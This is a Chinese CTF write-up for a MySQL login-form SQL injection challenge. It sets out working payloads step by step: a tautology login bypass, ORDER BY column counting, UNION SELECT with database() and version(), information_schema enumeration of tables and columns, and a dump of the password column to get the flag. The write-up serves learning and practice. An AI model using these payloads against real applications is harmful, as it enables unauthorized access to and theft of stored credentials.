这题也出乎意料的艰难,不过我搞懂了!好彩新技能学到了不少,我觉得这道题做得的,值了!
首先先试试基本的单引号注入
1' or 1=1 # 密码随便输,enter,发现可以注入;
接下来我们来爆字段,看看表格有几列
1' order by 1#,用户名或密码错误;
1' order by 2#,用户名或密码错误;
1' order by 3#,用户名或密码错误;
1' order by 4#,发现第4列不存在,好,那么就一共是3列,且其中两列必定为username和password
知识点:order by x#指的是按照第几列的内容排序;能够按某一列的内容排序说明其存在!
接着我们来看看哪两列是可以显示出来的 1' union select 1,2,3,发现第二第三列是可以显示出来的(根据单引号注入的结果,第二第三列其实就是username和password),那么我们利用这两列来获取需要的信息:
首先,我们可以知道库的名称,比如我用第二列返回库的名称,第三列返回库的版本
代码如下:1' union select 1,database(),version() #
database是一个获取当前库名的函数,version则是获取版本的函数
由此我们知道了库名为'geek'及其版本
接着再查一下geek有哪些数据表,这里就需要使用到元数据库information_schema
这个数据库有三个重要的表:information_schema.schemata和information_schema.tables和information_schema.columns
前者可以查看库名1' union select 1,2,group_concat(schema_name) from information_schema.schemata #
中间的可以查看表名1' union select 1,2,group_concat(table_name) from information_schema.tables #
后者可以查看字段1' union select 1,2,group_concat(column_name) from information_schema.columns #
回到题目,要查geek的数据表,那要加上数据库为geek的条件,即:1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek' #
(或者直接database()也OK)
接着看看各表,用字段名称
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1' and table_schema='geek' #
猜测flag藏在password里面,那么试试看
1' union select 1,2,group_concat(password) from l0ve1ysq1 #
发现flag!
技能点总结:列数判断;联合查询;利用元数据库爆破库名表名字段名;
database()和version()函数;